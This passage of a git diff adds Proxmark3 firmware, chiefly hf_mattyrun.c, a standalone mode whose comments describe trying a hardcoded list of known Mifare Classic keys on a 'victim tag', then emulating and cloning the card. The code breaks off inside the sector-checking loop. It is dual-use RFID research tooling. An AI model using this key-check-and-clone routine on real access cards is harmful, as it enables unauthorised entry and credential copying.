0x33, 0x38, 0x3b, 0x35, 0x3b, 0x39, 0x35, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x33, 0x38, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, + 0x35, 0x3b, 0x31, 0x33, 0x38, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x31, 0x33, 0x38, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, + 0x31, 0x33, 0x38, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x39, 0x35, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x38, 0x6d, + 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x39, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, + 0x3b, 0x31, 0x30, 0x31, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x39, 0x35, 0x6d, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x32, 0x6d, 0x30, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x39, 0x35, 0x6d, 0x31, 0x1b, 0x5b, 0x33, + 0x38, 0x3b, 0x35, 0x3b, 0x39, 0x35, 0x6d, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x39, 0x6d, + 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x39, 0x6d, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x39, 0x6d, + 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x39, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x39, 0x6d, 0x30, 0x1b, 0x5b, 0x33, + 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x39, 0x6d, 0x31, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x39, 0x6d, 0x31, 0x0d, 0x0a}; +unsigned int logo_kigiv_len = 9303; + +const char logo_kigiv_nocolor[] = { + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x30, 0x30, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0d, + 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, 0x30, 0x31, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x0d, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x31, 0x31, 0x20, 0x31, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x0d, 0x0a, 0x30, 0x30, 0x31, 0x30, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x31, 0x30, 0x30, 0x30, 0x20, 0x20, 0x20, 0x30, 0x30, 0x30, + 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x31, 0x30, 0x31, 0x30, 0x31, 0x30, 0x31, 0x31, 0x30, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x31, + 0x30, 0x31, 0x30, 0x31, 0x20, 0x30, 0x30, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x31, 0x31, 0x31, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x31, 0x30, 0x31, 0x30, + 0x30, 0x31, 0x30, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x0d, 0x0a, 0x31, 0x31, 0x31, 0x31, 0x30, 0x31, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x30, 0x30, 0x31, 0x30, 0x20, 0x20, 0x31, 0x30, 0x31, + 0x31, 0x31, 0x30, 0x20, 0x20, 0x20, 0x30, 0x31, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x31, 0x31, 0x31, 0x20, 0x20, + 0x30, 0x31, 0x30, 0x31, 0x31, 0x20, 0x31, 0x30, 0x31, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x30, 0x31, 0x20, 0x20, 0x31, 0x30, 0x30, 0x30, 0x31, + 0x31, 0x31, 0x30, 0x20, 0x20, 0x30, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x0d, 0x0a, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x20, 0x20, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x31, 0x20, 0x20, 0x20, 0x30, 0x30, + 0x30, 0x31, 0x30, 0x31, 0x20, 0x20, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, 0x30, 0x31, 0x30, 0x31, 0x20, + 0x20, 0x31, 0x31, 0x30, 0x30, 0x31, 0x20, 0x20, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x31, 0x31, 0x31, 0x30, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x31, 0x30, 0x20, 0x20, 0x20, 0x31, 0x30, 0x30, 0x30, 0x31, 0x31, 0x31, 0x31, 0x20, 0x30, + 0x31, 0x31, 0x20, 0x20, 0x31, 0x30, 0x30, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x0d, 0x0a, 0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x31, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, + 0x30, 0x31, 0x30, 0x31, 0x30, 0x20, 0x31, 0x31, 0x30, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x31, 0x30, 0x30, 0x31, 0x30, 0x20, 0x20, 0x20, 0x30, 0x31, 0x30, 0x31, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, 0x30, 0x30, 0x20, 0x20, 0x30, 0x31, 0x31, 0x30, 0x20, 0x30, 0x31, 0x31, 0x30, 0x20, 0x30, 0x31, + 0x31, 0x20, 0x20, 0x31, 0x31, 0x31, 0x20, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x0d, 0x0a, 0x31, 0x31, 0x30, 0x31, 0x30, 0x31, 0x31, 0x31, 0x30, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x31, 0x30, 0x30, 0x31, 0x30, 0x30, 0x20, 0x30, 0x30, 0x31, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, + 0x30, 0x30, 0x20, 0x30, 0x30, 0x31, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x31, 0x30, 0x31, 0x30, 0x20, 0x20, 0x31, 0x30, 0x30, 0x30, 0x30, 0x31, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x31, 0x30, 0x30, 0x20, 0x20, 0x30, 0x30, 0x30, 0x30, 0x20, 0x30, 0x30, 0x31, 0x30, 0x20, 0x30, 0x31, 0x31, + 0x20, 0x20, 0x30, 0x30, 0x31, 0x20, 0x31, 0x30, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0d, 0x0a, 0x31, 0x31, 0x30, 0x31, 0x31, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x30, 0x31, 0x31, 0x30, 0x30, 0x30, 0x20, 0x31, 0x31, 0x31, 0x30, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x30, 0x31, 0x30, 0x31, + 0x30, 0x30, 0x31, 0x31, 0x30, 0x31, 0x31, 0x30, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x31, 0x30, 0x31, 0x20, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, 0x30, 0x30, 0x20, 0x20, 0x30, 0x31, 0x30, 0x31, 0x20, 0x30, 0x31, 0x31, 0x20, 0x20, 0x30, 0x30, 0x31, 0x20, + 0x20, 0x30, 0x31, 0x30, 0x20, 0x30, 0x31, 0x30, 0x31, 0x31, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0d, 0x0a, 0x31, 0x31, 0x30, 0x30, 0x30, 0x30, 0x31, 0x31, 0x31, 0x30, 0x30, 0x31, 0x31, 0x30, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x30, 0x30, 0x31, 0x31, 0x30, 0x31, 0x20, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, 0x30, 0x31, 0x31, + 0x30, 0x31, 0x31, 0x31, 0x20, 0x31, 0x31, 0x31, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x30, 0x31, 0x31, 0x31, 0x30, 0x30, 0x30, 0x30, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x31, 0x20, 0x20, 0x31, 0x31, 0x30, 0x31, 0x20, 0x20, 0x20, 0x30, 0x31, 0x20, 0x30, 0x31, 0x31, 0x20, 0x20, + 0x30, 0x30, 0x30, 0x20, 0x30, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0d, 0x0a, 0x31, 0x31, 0x31, 0x31, 0x31, 0x30, 0x20, 0x20, 0x30, 0x30, 0x31, 0x30, 0x30, 0x31, 0x31, 0x30, + 0x20, 0x20, 0x20, 0x31, 0x31, 0x31, 0x30, 0x30, 0x30, 0x20, 0x20, 0x30, 0x31, 0x30, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, + 0x30, 0x31, 0x31, 0x30, 0x30, 0x20, 0x30, 0x31, 0x30, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x31, 0x31, 0x30, 0x31, 0x31, 0x30, 0x30, + 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x31, 0x30, 0x20, 0x20, 0x30, 0x31, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x20, 0x31, 0x30, + 0x30, 0x30, 0x20, 0x30, 0x30, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0d, 0x0a, 0x31, 0x31, 0x30, 0x30, 0x30, 0x31, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, 0x31, 0x30, 0x31, + 0x30, 0x30, 0x31, 0x20, 0x30, 0x31, 0x31, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x30, 0x31, 0x31, 0x31, 0x31, 0x31, 0x30, 0x31, 0x31, 0x31, 0x30, 0x31, 0x31, + 0x31, 0x30, 0x30, 0x30, 0x30, 0x20, 0x20, 0x31, 0x31, 0x31, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x31, 0x30, 0x31, 0x31, 0x31, + 0x30, 0x20, 0x20, 0x20, 0x31, 0x30, 0x20, 0x20, 0x20, 0x30, 0x31, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, + 0x31, 0x20, 0x20, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x20, 0x20, 0x20, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0d, 0x0a, 0x31, 0x31, 0x31, 0x30, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, + 0x30, 0x30, 0x31, 0x30, 0x20, 0x30, 0x31, 0x30, 0x30, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x30, 0x30, 0x31, 0x30, 0x31, 0x31, 0x31, 0x31, + 0x30, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, 0x30, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x31, 0x30, 0x30, 0x30, + 0x30, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x30, 0x31, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x30, 0x31, 0x31, 0x31, 0x30, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0d, 0x0a, 0x20, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x30, 0x31, 0x31, 0x20, 0x20, 0x20, 0x30, 0x30, 0x30, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x31, 0x31, 0x31, + 0x30, 0x31, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x30, 0x31, 0x31, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x30, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x31, 0x31, 0x30, 0x31, 0x31, 0x0d, 0x0a}; +unsigned int logo_kigiv_nocolor_len = 2153; + +#endif /* __HF_COLIN_H */ diff --git a/armsrc/Standalone/hf_mattyrun.c b/armsrc/Standalone/hf_mattyrun.c new file mode 100644 index 000000000..7b9bba077 --- /dev/null +++ b/armsrc/Standalone/hf_mattyrun.c @@ -0,0 +1,286 @@ +//----------------------------------------------------------------------------- +// Matías A. Ré Medina 2016 +// Christian Herrmann, 2018 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// main code for HF aka MattyRun by Matías A. Ré Medina +//----------------------------------------------------------------------------- +/* +### What I did: +I've personally recoded the image of the ARM in order to automate +the attack and simulation on Mifare cards. I've moved some of the +implementation on the client side to the ARM such as *chk*, *ecfill*, *sim* +and *clone* commands. + +### What it does now: +It will check if the keys from the attacked tag are a subset from +the hardcoded set of keys inside of the FPGA. If this is the case +then it will load the keys into the emulator memory and also the +content of the victim tag, to finally simulate it and make a clone +on a blank card. + +#### TODO: +- Nested attack in the case not all keys are known. +- Dump into magic card in case of needed replication. + +#### ~ Basically automates commands without user intervention. +#### ~ No need of interface. +#### ~ Just a portable battery or an OTG usb cable for power supply. + +## Spanish full description of the project [here](http://bit.ly/2c9nZXR). +*/ + +#include "hf_mattyrun.h" + +void RunMod() { + StandAloneMode(); + + /* + It will check if the keys from the attacked tag are a subset from + the hardcoded set of keys inside of the ARM. If this is the case + then it will load the keys into the emulator memory and also the + content of the victim tag, to finally simulate it. + + Alternatively, it can be dumped into a blank card. + + This source code has been tested only in Mifare 1k. + + If you're using the proxmark connected to a device that has an OS, and you're not using the proxmark3 client to see the debug + messages, you MUST uncomment usb_disable(). + */ + + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + // usb_disable(); // Comment this line if you want to see debug messages. + + + /* + Pseudo-configuration block. + */ + char keyTypec = '?'; // 'A'/'B' or both keys '?' + bool printKeys = false; // Prints keys + bool transferToEml = true; // Transfer keys to emulator memory + bool ecfill = true; // Fill emulator memory with cards content. + bool simulation = true; // Simulates an exact copy of the target tag + bool fillFromEmulator = false; // Dump emulator memory. + + + uint16_t mifare_size = 1024; // Mifare 1k (only 1k supported for now) + uint8_t sectorSize = 64; // 1k's sector size is 64 bytes. + uint8_t blockNo = 3; // Security block is number 3 for each sector. + uint8_t sectorsCnt = (mifare_size/sectorSize); + uint8_t keyType; // Keytype buffer + uint64_t key64; // Defines current key + uint8_t *keyBlock = NULL; // Where the keys will be held in memory. + uint8_t stKeyBlock = 20; // Set the quantity of keys in the block. + uint8_t filled = 0; // Used to check if the memory was filled with success. + bool keyFound = false; + + /* + Set of keys to be used. + */ + uint64_t mfKeys[] = { + 0xffffffffffff, // Default key + 0x000000000000, // Blank key + 0xa0a1a2a3a4a5, // NFCForum MAD key + 0xb0b1b2b3b4b5, + 0xaabbccddeeff, + 0x4d3a99c351dd, + 0x1a982c7e459a, + 0xd3f7d3f7d3f7, + 0x714c5c886e97, + 0x587ee5f9350f, + 0xa0478cc39091, + 0x533cb6c723f6, + 0x8fd0a4f256e9, + }; + + /* + This part allocates the byte representation of the + keys in keyBlock's memory space . + */ + keyBlock = BigBuf_malloc(stKeyBlock * 6); + int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t); + + for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) { + num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t*)(keyBlock + mfKeyCounter * 6)); + } + + /* + Simple switch just to handle keytpes. + */ + switch (keyTypec) { + case 'a': case 'A': + keyType = !0; + break; + case 'b': case 'B': + keyType = !1; + break; + case '?': + keyType = 2; + break; + default: + Dbprintf("[!] Key type must be A , B or ?"); + keyType = 2; + } + + /* + Pretty print of the keys to be checked. + */ + if (printKeys) { + Dbprintf("[+] Printing mf keys"); + for (uint8_t keycnt = 0; keycnt < mfKeysCnt; keycnt++) + Dbprintf("[-] chk mf key[%2d] %02x%02x%02x%02x%02x%02x", keycnt, + (keyBlock + 6*keycnt)[0],(keyBlock + 6*keycnt)[1], (keyBlock + 6*keycnt)[2], + (keyBlock + 6*keycnt)[3], (keyBlock + 6*keycnt)[4], (keyBlock + 6*keycnt)[5], 6); + DbpString("--------------------------------------------------------"); + } + + /* + Initialization of validKeys and foundKeys storages. + - validKey will store whether the sector has a valid A/B key. + - foundKey will store the found A/B key for each sector. + */ + bool validKey[2][40]; + uint8_t foundKey[2][40][6]; + for (uint16_t t = 0; t < 2; t++) { + for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + validKey[t][sectorNo] = false; + for (uint16_t i = 0; i < 6; i++) { + foundKey[t][sectorNo][i] = 0xff; + } + } + } + + /* + Iterates through each sector checking if there is a correct key. + */ + int key = -1; + int block = 0; + bool err = 0; + bool allKeysFound = true; + uint32_t size = mfKeysCnt; + for (int type = !keyType; type < 2 && !err; keyType == 2 ? (type++) : (type = 2)) { + block = blockNo; + for (int sec = 0; sec < sectorsCnt && !err; ++sec) { + Dbprintf("\tCurrent 